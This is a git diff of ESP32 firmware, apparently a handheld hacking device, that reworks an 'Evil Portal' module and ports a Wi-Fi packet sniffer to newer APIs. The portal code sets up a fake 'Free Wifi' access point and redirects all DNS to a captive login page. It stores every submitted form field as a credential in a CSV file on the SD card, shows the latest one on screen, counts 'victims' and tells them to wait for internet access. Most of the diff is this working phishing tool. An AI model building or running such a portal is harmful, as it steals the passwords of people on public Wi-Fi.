diff --git a/src/display.cpp b/src/display.cpp index 4662a0b67..2e4971530 100644 --- a/src/display.cpp +++ b/src/display.cpp @@ -105,11 +105,11 @@ void displayRedStripe(String text, uint16_t fgcolor, uint16_t bgcolor) { menu_op.setTextColor(fgcolor,bgcolor); if(size==FM) { menu_op.setTextSize(FM); - menu_op.setCursor(WIDTH/2 - FM*3*text.length(), 5); + menu_op.setCursor(menu_op.width()/2 - FM*3*text.length(), 5); } else { menu_op.setTextSize(FP); - menu_op.setCursor(WIDTH/2 - FP*3*text.length(), 5); + menu_op.setCursor(menu_op.width()/2 - FP*3*text.length(), 5); } menu_op.println(text); menu_op.pushSprite(10,HEIGHT/2 - 13); diff --git a/src/evil_portal.cpp b/src/evil_portal.cpp index 087d82569..bcb24b39e 100644 --- a/src/evil_portal.cpp +++ b/src/evil_portal.cpp @@ -7,7 +7,7 @@ AsyncWebServer *ep; // initialise webserver DNSServer dnsServer; -String html_file; +String html_file, ep_logo, last_cred; String AP_name = "Free Wifi"; int totalCapturedCredentials = 0; int previousTotalCapturedCredentials = -1; // stupid hack but wtfe @@ -26,14 +26,146 @@ class CaptiveRequestHandler : public AsyncWebHandler { void handleRequest(AsyncWebServerRequest *request) { AsyncResponseStream *response = request->beginResponseStream("text/html"); - if(request->params()>0) request->redirect("/post"); - if(request->params()==0) request->redirect("/"); + if(request->hasParam("ssid")) request->redirect("/ssid"); // If there is a parameter called "ssid", changes network + else if(request->params()>0) { // Else if there are other parameters, store in the memory + String html_temp = "
  • "; // Else.. after all that, redirects to the page + String csvLine = ""; + last_cred=""; + for (int i = 0; i < request->params(); i++) { + AsyncWebParameter *param = request->getParam(i); + html_temp += param->name() + ": " + param->value() + "
    \n"; + // Prepara dados para salvar no SD + if (i != 0) { + csvLine += ","; + last_cred +=","; + } + csvLine += param->name() + ": " + param->value(); + last_cred += param->name().substring(0,1) + ": " + param->value(); + } + html_temp += "
  • \n"; + saveToCSV("/Bruce_creds.csv", csvLine); + capturedCredentialsHtml = html_temp + capturedCredentialsHtml; + totalCapturedCredentials++; + request->send(200, "text/html", getHtmlContents("Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet.")); + } + else { + request->redirect("/"); + } } }; +void startEvilPortal() { + bool redraw=true; + Serial.begin(115200); + // Definição da matriz "Options" + options = { + {"Default", [=]() { chooseHtml(false); }}, + {"Custom Html", [=]() { chooseHtml(true); }}, + }; + delay(200); + loopOptions(options); + while(checkNextPress()){ yield(); } // debounce + + AP_name = keyboard("Free Wifi", 30, "Evil Portal SSID:"); + while(checkNextPress()){ yield(); } // debounce + + IPAddress AP_GATEWAY(172, 0, 0, 1); + WiFi.mode(WIFI_AP); + WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0)); + WiFi.softAP(AP_name); + Serial.print("IP: "); Serial.println(WiFi.softAPIP()); + wifiConnected=true; + dnsServer.start(53, "*", WiFi.softAPIP()); + ep = new AsyncWebServer(80); + + // if url isn't found + ep->onNotFound([](AsyncWebServerRequest * request) { + request->redirect("/"); + }); + + ep->on("/creds", HTTP_GET, [](AsyncWebServerRequest * request) { + request->send(200, "text/html", creds_GET()); + }); + + ep->on("/ssid", HTTP_GET, [](AsyncWebServerRequest * request) { + request->send(200, "text/html", ssid_GET()); + }); + + ep->on("/postssid", HTTP_GET, [](AsyncWebServerRequest * request) { + if(request->hasArg("ssid")) AP_name = request->arg("ssid").c_str(); + request->send(200, "text/html", ssid_POST()); + ep->end(); // pára o servidor + wifiDisconnect(); // desliga o WiFi + WiFi.softAP(AP_name); // reinicia WiFi com novo SSID + ep->begin(); // reinicia o servidor + previousTotalCapturedCredentials=-1; // redesenha a tela + }); + + ep->on("/clear", HTTP_GET, [](AsyncWebServerRequest * request) { + request->send(200, "text/html", clear_GET()); + }); + + ep->on("/", HTTP_GET, [](AsyncWebServerRequest * request) { + request->send(200, "text/html", html_file); + }); + + ep->addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER); //only when requested from AP + + ep->begin(); + + tft.fillRect(6, 27, WIDTH-12, HEIGHT-33, BGCOLOR); + drawMainMenu(0); + menu_op.deleteSprite(); + menu_op.createSprite(WIDTH-20, HEIGHT-35); + + while(!checkSelPress()) { + if(totalCapturedCredentials!=previousTotalCapturedCredentials) { + redraw=true; + previousTotalCapturedCredentials = totalCapturedCredentials; + } + if(redraw) { + menu_op.fillRect(0,0,menu_op.width(),menu_op.height(),BGCOLOR); + menu_op.setTextSize(FM); + menu_op.setTextColor(TFT_RED); + menu_op.drawCentreString("Evil Portal",sprite.width()/2, 4, SMOOTH_FONT); + menu_op.setCursor(0,20); + menu_op.setTextColor(FGCOLOR); + menu_op.println("AP: " + AP_name); + menu_op.println("->" + WiFi.softAPIP().toString() + "/creds"); + menu_op.println("->" + WiFi.softAPIP().toString() + "/ssid"); + menu_op.print("Victrims: "); + menu_op.setTextColor(TFT_RED); + menu_op.println(String(totalCapturedCredentials)); + menu_op.setTextSize(FP); + menu_op.println(last_cred); + + menu_op.pushSprite(8,26); + redraw=false; + } + dnsServer.processNextRequest(); + } + + while(checkSelPress()) { } + displayWarning("Bruce will restart"); + while(!checkSelPress()) { } + // Evil Portal uses a lot of RAM memmory, and can't open Menus after that, need to restart. + ESP.restart(); +} + +// Função para salvar dados no arquivo CSV +void saveToCSV(const String &filename, const String &csvLine) { + File file = SD.open(filename, FILE_APPEND); + if (!file) { + Serial.println("Error to open file"); + return; + } + file.println(csvLine); + file.close(); + Serial.println("data saved"); +} String getHtmlContents(String body) { - String html = + PROGMEM String html = "" "" "" @@ -51,7 +183,7 @@ String getHtmlContents(String body) { " " "
    " "
    " - " " + " " + ep_logo + "
    " "
    " + body + "
    " @@ -66,6 +198,12 @@ String creds_GET() { return getHtmlContents("
      " + capturedCredentialsHtml + "

    Back to Index

    Clear passwords

    "); } +String ssid_GET() { + return getHtmlContents("

    Set a new SSID for NEMO Portal:

    "); +} +String ssid_POST() { + return getHtmlContents("NEMO Portal shutting down and restarting with SSID " + AP_name + ". Please reconnect."); +} String index_GET() { String loginTitle = String("Sign in"); @@ -86,9 +224,11 @@ String clear_GET() { } void chooseHtml(bool def) { + ep_logo = ""; if(def) { html_file = loopSD(true); if(html_file.endsWith(".html")) { + ep_logo = ""; File html = SD.open(html_file, FILE_READ); html_file = html.readString(); } else { @@ -97,94 +237,4 @@ void chooseHtml(bool def) { } else { html_file = index_GET(); } -} -void startEvilPortal() { - Serial.begin(115200); - // Definição da matriz "Options" - std::vector>> options = { - {"Default", [=]() { chooseHtml(false); }}, - {"Custom Html", [=]() { chooseHtml(true); }}, - }; - delay(200); - loopOptions(options); - - bool redraw=true; - - while(checkNextPress()){ yield(); } // debounce - - AP_name = keyboard("Free Wifi", 30, "Evil Portal SSID:"); - - while(checkNextPress()){ yield(); } // debounce - - IPAddress AP_GATEWAY(172, 0, 0, 1); - WiFi.mode(WIFI_AP); - WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0)); - WiFi.softAP(AP_name); - Serial.print("IP: "); Serial.println(WiFi.softAPIP()); - wifiConnected=true; - dnsServer.start(53, "*", WiFi.softAPIP()); - ep = new AsyncWebServer(80); - - // if url isn't found - ep->onNotFound([](AsyncWebServerRequest * request) { - request->redirect("/"); - }); - - ep->on("/post", HTTP_GET, [](AsyncWebServerRequest * request) { - String password, email; - if(request->hasArg("password")) password = request->arg("password").c_str(); - if(request->hasArg("email")) password = request->arg("email").c_str(); - capturedCredentialsHtml = "
  • Email: " + email + "
    Password: " + password + "
  • " + capturedCredentialsHtml; - totalCapturedCredentials++; - - //#if defined(HAS_SDCARD) - // appendToFile(SD, SD_CREDS_PATH, String(email + " = " + password).c_str()); - //#endif - request->send(200, "text/html", getHtmlContents("Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet.")); - }); - - ep->on("/creds", HTTP_GET, [](AsyncWebServerRequest * request) { - request->send(200, "text/html", creds_GET()); - }); - - ep->on("/clear", HTTP_GET, [](AsyncWebServerRequest * request) { - request->send(200, "text/html", clear_GET()); - }); - - ep->on("/", HTTP_GET, [](AsyncWebServerRequest * request) { - request->send(200, "text/html", index_GET()); - }); - - ep->addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER); //only when requested from AP - - ep->begin(); - - tft.fillRect(6, 27, WIDTH-12, HEIGHT-33, BGCOLOR); - drawMainMenu(0); - menu_op.deleteSprite(); - menu_op.createSprite(WIDTH-20, HEIGHT-35); - - - - while(!checkSelPress()) { - if(totalCapturedCredentials-previousTotalCapturedCredentials>1) { - redraw=true; - previousTotalCapturedCredentials = totalCapturedCredentials -1; - } - if(redraw) { - menu_op.fillRect(0,0,menu_op.width(),menu_op.height(),BGCOLOR); - menu_op.setCursor(0,0); - menu_op.setTextSize(FM); - menu_op.setTextColor(FGCOLOR); - menu_op.println("Evil Portal: "); - menu_op.println(AP_name); - menu_op.println(WiFi.softAPIP().toString()); - menu_op.println("Victrims: " + String(totalCapturedCredentials)); - menu_op.pushSprite(8,26); - redraw=false; - } - dnsServer.processNextRequest(); - } - delay(200); - returnToMenu = true; } \ No newline at end of file diff --git a/src/evil_portal.h b/src/evil_portal.h index 7584e0c19..5291cd1e8 100644 --- a/src/evil_portal.h +++ b/src/evil_portal.h @@ -20,3 +20,9 @@ String index_GET(); String clear_GET(); +String ssid_GET(); + +String ssid_POST(); + +void saveToCSV(const String &filename, const String &csvLine); + diff --git a/src/sniffer.cpp b/src/sniffer.cpp index e028a2141..ffdaa0d1d 100644 --- a/src/sniffer.cpp +++ b/src/sniffer.cpp @@ -1,213 +1,233 @@ -/* - =========================================== - Copyright (c) 2017 Stefan Kremser - github.com/spacehuhn - =========================================== -*/ - - -/* include all necessary libraries */ -#include "freertos/FreeRTOS.h" -#include "esp_wifi.h" -//#include "esp_wifi_internal.h" -#include "lwip/err.h" -#include "esp_system.h" -#include "esp_event.h" -#include "esp_event_loop.h" -#include "nvs_flash.h" -#include "driver/gpio.h" - -#include -#include -#include "FS.h" -#include "PCAP.h" -#include "display.h" -#include "globals.h" -#include "sd_functions.h" - - - -//===== SETTINGS =====// -#define CHANNEL 1 -#define FILENAME "raw" -#define SAVE_INTERVAL 10 //save new file every 30s -#define CHANNEL_HOPPING true //if true it will scan on all channels -#define MAX_CHANNEL 11 //(only necessary if channelHopping is true) -#define HOP_INTERVAL 214 //in ms (only necessary if channelHopping is true) - - -//===== Run-Time variables =====// -unsigned long lastTime = 0; -unsigned long lastChannelChange = 0; -int counter = 0; -int ch = CHANNEL; -bool fileOpen = false; - -//PCAP pcap = PCAP(); -PCAP pcap; -String filename = "/" + (String)FILENAME + ".pcap"; - -//===== FUNCTIONS =====// - -bool openFile(){ - //String filename = "capture.cap"; - - - uint32_t magic_number = 0xa1b2c3d4; - uint16_t version_major = 2; - uint16_t version_minor = 4; - uint32_t thiszone = 0; - uint32_t sigfigs = 0; - uint32_t snaplen = 2500; - uint32_t network = 105; - - //if(SD.exists(filename.c_str())) removeFile(SD); - file = SD.open(filename, FILE_WRITE); - if(file) { - - filewrite_32(magic_number); - filewrite_16(version_major); - filewrite_16(version_minor); - filewrite_32(thiszone); - filewrite_32(sigfigs); - filewrite_32(snaplen); - filewrite_32(network); - return true; - } - return false; - } - - -/* will be executed on every packet the ESP32 gets while beeing in promiscuous mode */ -void sniffer(void *buf, wifi_promiscuous_pkt_type_t type){ - - if(fileOpen){ - wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf; - wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)pkt->rx_ctrl; - - uint32_t timestamp = now(); //current timestamp - uint32_t microseconds = (unsigned int)(micros() - millis() * 1000); //micro seconds offset (0 - 999) - newPacketSD(timestamp, microseconds, ctrl.sig_len, pkt->payload); //write packet to file - - } - -} - -esp_err_t event_handler(void *ctx, system_event_t *event){ return ESP_OK; } - - -/* opens a new file */ -void openFile2(){ - - //searches for the next non-existent file name - int c = 0; - while(SD.open(filename)){ - filename = "/" + (String)FILENAME + "_" + (String)c + ".pcap"; - c++; - } - - fileOpen = openFile(); - - Serial.println("opened: "+filename); - - //reset counter (counter for saving every X seconds) - counter = 0; -} - - -//===== SETUP =====// -void sniffer_setup() { - tft.fillScreen(BGCOLOR); - tft.setCursor(0, 0); - Serial.begin(115200); - //delay(2000); - Serial.println(); - - uint8_t cardType = SD.cardType(); - - if(cardType == CARD_NONE){ - Serial.println("No SD card attached"); - displayRedStripe("No SD card"); - return; - } - - Serial.print("SD Card Type: "); - if(cardType == CARD_MMC){ - Serial.println("MMC"); - } else if(cardType == CARD_SD){ - Serial.println("SDSC"); - } else if(cardType == CARD_SDHC){ - Serial.println("SDHC"); - } else { - Serial.println("UNKNOWN"); - } - - int64_t cardSize = SD.cardSize() / (1024 * 1024); - Serial.printf("SD Card Size: %lluMB\n", cardSize); - openFile2(); - - /* setup wifi */ - nvs_flash_init(); - tcpip_adapter_init(); - ESP_ERROR_CHECK( esp_event_loop_init(event_handler, NULL) ); - wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); - ESP_ERROR_CHECK( esp_wifi_init(&cfg) ); - ESP_ERROR_CHECK( esp_wifi_set_storage(WIFI_STORAGE_RAM) ); - ESP_ERROR_CHECK( esp_wifi_set_mode(WIFI_MODE_AP) ); - ESP_ERROR_CHECK( esp_wifi_start() ); - esp_wifi_set_promiscuous(true); - esp_wifi_set_promiscuous_rx_cb(sniffer); - wifi_second_chan_t secondCh = (wifi_second_chan_t)NULL; - esp_wifi_set_channel(ch,secondCh); - - Serial.println("Sniffer started!"); - - displayRedStripe("Sniffer started!", TFT_WHITE, TFT_DARKGREEN ); - - sniffer_loop(); - -} - -void sniffer_loop() { - for(;;) { - // if ((checkSelPress())) { - unsigned long currentTime = millis(); - - /* Channel Hopping */ - if(CHANNEL_HOPPING){ - if(currentTime - lastChannelChange >= HOP_INTERVAL){ - lastChannelChange = currentTime; - ch++; //increase channel - if(ch > MAX_CHANNEL) ch = 1; - wifi_second_chan_t secondCh = (wifi_second_chan_t)NULL; - esp_wifi_set_channel(ch,secondCh); - } - } - - if(fileOpen && currentTime - lastTime > 1000){ - file.flush(); //save file - lastTime = currentTime; //update time - counter++; //add 1 to counter - } - - /* when counter > 30s interval */ - if(counter > SAVE_INTERVAL){ - //closeFile(); //save & close the file - file.close(); - fileOpen = false; //update flag - Serial.println("=================="); - Serial.println(filename + " saved!"); - Serial.println("=================="); - tft.setCursor(0, 20); - tft.setTextColor(TFT_WHITE, BGCOLOR); - tft.setTextSize(2); - tft.println("Saved to file in SD card, filename:"); - tft.setTextSize(2); - displayRedStripe(filename, TFT_WHITE, FGCOLOR); - // tft.println(filename); - tft.setTextColor(FGCOLOR, BGCOLOR); - openFile2(); //open new file - } - // } - } +/* + =========================================== + Copyright (c) 2017 Stefan Kremser + github.com/spacehuhn + =========================================== +*/ + + +/* include all necessary libraries */ +#include "freertos/FreeRTOS.h" +#include "esp_wifi.h" +//#include "esp_wifi_internal.h" +#include "lwip/err.h" +#include "esp_system.h" +#include "esp_event.h" +//#include "esp_event_loop.h" +#include "nvs_flash.h" +#include "driver/gpio.h" + +#include +#include +#include "FS.h" +#include "PCAP.h" +#include "display.h" +#include "globals.h" +#include "sd_functions.h" + + + +//===== SETTINGS =====// +#define CHANNEL 1 +#define FILENAME "raw" +#define SAVE_INTERVAL 10 //save new file every 30s +#define CHANNEL_HOPPING true //if true it will scan on all channels +#define MAX_CHANNEL 11 //(only necessary if channelHopping is true) +#define HOP_INTERVAL 214 //in ms (only necessary if channelHopping is true) + + +//===== Run-Time variables =====// +unsigned long lastTime = 0; +unsigned long lastChannelChange = 0; +int counter = 0; +int ch = CHANNEL; +bool fileOpen = false; + +//PCAP pcap = PCAP(); +PCAP pcap; +String filename = "/" + (String)FILENAME + ".pcap"; + +//===== FUNCTIONS =====// + +bool openFile(){ + //String filename = "capture.cap"; + + + uint32_t magic_number = 0xa1b2c3d4; + uint16_t version_major = 2; + uint16_t version_minor = 4; + uint32_t thiszone = 0; + uint32_t sigfigs = 0; + uint32_t snaplen = 2500; + uint32_t network = 105; + + //if(SD.exists(filename.c_str())) removeFile(SD); + file = SD.open(filename, FILE_WRITE); + if(file) { + + filewrite_32(magic_number); + filewrite_16(version_major); + filewrite_16(version_minor); + filewrite_32(thiszone); + filewrite_32(sigfigs); + filewrite_32(snaplen); + filewrite_32(network); + return true; + } + return false; + } + + +/* will be executed on every packet the ESP32 gets while beeing in promiscuous mode */ +void sniffer(void *buf, wifi_promiscuous_pkt_type_t type){ + + if(fileOpen){ + wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf; + wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)pkt->rx_ctrl; + + uint32_t timestamp = now(); //current timestamp + uint32_t microseconds = (unsigned int)(micros() - millis() * 1000); //micro seconds offset (0 - 999) + newPacketSD(timestamp, microseconds, ctrl.sig_len, pkt->payload); //write packet to file + + } + +} + +//esp_err_t event_handler(void *ctx, system_event_t *event){ return ESP_OK; } +void event_handler(void *arg, esp_event_base_t event_base, int32_t event_id, void *event_data) { + if (event_base == WIFI_EVENT) { + switch (event_id) { + case WIFI_EVENT_STA_START: + // Ação para quando a estação WiFi inicia + break; + // Outros casos... + } + } else if (event_base == IP_EVENT) { + switch (event_id) { + case IP_EVENT_STA_GOT_IP: + // Ação para quando a estação WiFi obtém um endereço IP + break; + // Outros casos... + } + } +} + +/* opens a new file */ +void openFile2(){ + + //searches for the next non-existent file name + int c = 0; + while(SD.open(filename)){ + filename = "/" + (String)FILENAME + "_" + (String)c + ".pcap"; + c++; + } + + fileOpen = openFile(); + + Serial.println("opened: "+filename); + + //reset counter (counter for saving every X seconds) + counter = 0; +} + + +//===== SETUP =====// +void sniffer_setup() { + tft.fillScreen(BGCOLOR); + tft.setCursor(0, 0); + Serial.begin(115200); + //delay(2000); + Serial.println(); + + uint8_t cardType = SD.cardType(); + + if(cardType == CARD_NONE){ + Serial.println("No SD card attached"); + displayRedStripe("No SD card"); + return; + } + + Serial.print("SD Card Type: "); + if(cardType == CARD_MMC){ + Serial.println("MMC"); + } else if(cardType == CARD_SD){ + Serial.println("SDSC"); + } else if(cardType == CARD_SDHC){ + Serial.println("SDHC"); + } else { + Serial.println("UNKNOWN"); + } + + int64_t cardSize = SD.cardSize() / (1024 * 1024); + Serial.printf("SD Card Size: %lluMB\n", cardSize); + openFile2(); + + /* setup wifi */ + nvs_flash_init(); + //tcpip_adapter_init(); //velho + ESP_ERROR_CHECK(esp_netif_init()); //novo + //ESP_ERROR_CHECK( esp_event_loop_init(event_handler, NULL) ); //velho + ESP_ERROR_CHECK(esp_event_loop_create_default()); // novo + ESP_ERROR_CHECK(esp_event_handler_register(WIFI_EVENT, ESP_EVENT_ANY_ID, &event_handler, NULL)); // novo + ESP_ERROR_CHECK(esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP, &event_handler, NULL)); // novo + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + ESP_ERROR_CHECK( esp_wifi_init(&cfg) ); + ESP_ERROR_CHECK( esp_wifi_set_storage(WIFI_STORAGE_RAM) ); + ESP_ERROR_CHECK( esp_wifi_set_mode(WIFI_MODE_AP) ); + ESP_ERROR_CHECK( esp_wifi_start() ); + esp_wifi_set_promiscuous(true); + esp_wifi_set_promiscuous_rx_cb(sniffer); + wifi_second_chan_t secondCh = (wifi_second_chan_t)NULL; + esp_wifi_set_channel(ch,secondCh); + + Serial.println("Sniffer started!"); + + displayRedStripe("Sniffer started!", TFT_WHITE, TFT_DARKGREEN ); + + sniffer_loop(); + +} + +void sniffer_loop() { + for(;;) { + // if ((checkSelPress())) { + unsigned long currentTime = millis(); + + /* Channel Hopping */ + if(CHANNEL_HOPPING){ + if(currentTime - lastChannelChange >= HOP_INTERVAL){ + lastChannelChange = currentTime; + ch++; //increase channel + if(ch > MAX_CHANNEL) ch = 1; + wifi_second_chan_t secondCh = (wifi_second_chan_t)NULL; + esp_wifi_set_channel(ch,secondCh); + } + } + + if(fileOpen && currentTime - lastTime > 1000){ + file.flush(); //save file + lastTime = currentTime; //update time + counter++; //add 1 to counter + } + + /* when counter > 30s interval */ + if(counter > SAVE_INTERVAL){ + //closeFile(); //save & close the file + file.close(); + fileOpen = false; //update flag + Serial.println("=================="); + Serial.println(filename + " saved!"); + Serial.println("=================="); + tft.setCursor(0, 20); + tft.setTextColor(TFT_WHITE, BGCOLOR); + tft.setTextSize(2); + tft.println("Saved to file in SD card, filename:"); + tft.setTextSize(2); + displayRedStripe(filename, TFT_WHITE, FGCOLOR); + // tft.println(filename); + tft.setTextColor(FGCOLOR, BGCOLOR); + openFile2(); //open new file + } + // } + } } \ No newline at end of file